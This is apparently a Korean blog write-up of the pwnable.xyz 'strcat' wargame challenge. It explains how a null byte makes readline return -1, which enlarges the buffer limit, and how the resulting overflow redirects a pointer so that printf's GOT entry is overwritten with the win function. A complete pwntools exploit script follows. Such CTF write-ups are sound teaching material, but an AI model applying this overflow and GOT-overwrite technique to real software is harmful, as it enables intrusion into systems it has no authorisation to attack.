name에는 128byte 쓰기를 desc는 32byte쓰기가 가능하다
name에 입력을 할 때 마다 128를 최대치로 쪼개서 입력을 받을 수도 있다
fsb가 터지기는하는데 건들 것이 없다
readline함수를 통해 데이터를 입력 받고 strlen으로 길이 구해서 -1해준 값을 반환해 maxlen으로부터 빼게 된다
널 바이트 넣어서 readline의 반환 값이 -1이 되게도록하면 maxlen -= -1이 되서 maxlen을 증가 시킬 수 있다
이후에 desc를 got주소로 변조해서 got주소에 win함수 넣어주면 된다
from pwn import *
p = remote("svc.pwnable.xyz", 30013)
#p = process("./strcat")
printf_got = 0x602040
win = 0x40094c
#gdb.attach(p)
def concat(data):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Name: ")
p.sendline(data)
def edit_desc(data):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"Desc: ")
p.sendline(data)
payload = b"\x00"
p.recvuntil(b"Name: ")
p.sendline(payload)
p.recvuntil(b"Desc: ")
payload = b"A" * 31
p.sendline(payload)
for i in range(16):
concat(b"\x00")
payload = b"A" * 128
payload += b"\x40\x20\x60"
concat(payload)
edit_desc(p64(win))
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / UAF (0) | 2022.05.19 |
---|---|
pwnable.xyz / iape (0) | 2022.05.19 |
pwnable.xyz / J-U-M-P (0) | 2022.05.15 |
pwnable.xyz / sus (0) | 2022.05.14 |
pwnable.xyz / fspoo (0) | 2022.05.13 |